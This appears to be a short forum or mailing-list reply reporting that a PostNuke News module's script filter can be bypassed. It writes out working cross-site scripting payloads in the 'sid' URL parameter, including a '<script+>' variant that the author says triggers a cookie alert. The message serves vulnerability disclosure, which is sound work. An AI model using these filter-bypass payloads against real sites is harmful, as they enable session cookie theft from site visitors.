Not so fast on the praise :(

It only took me a couple of workarounds to find ways to bypass the check.

  http://news.postnuke.com/modules.php
	  ?op=modload&name=News&file=article&sid=<script>alert(document.cookie);</script>

Using the request...
	  ?op=modload&name=News&file=article&sid=<\script>alert(document.cookie);</script>
gives me the DB Error: message

And using the request...
	  ?op=modload&name=News&file=article&sid=<script+>alert(document.cookie);</script>
gives me the Alert Popup and DB Error: message...  the '+' is treated as a blank.

Thanks... Dan.
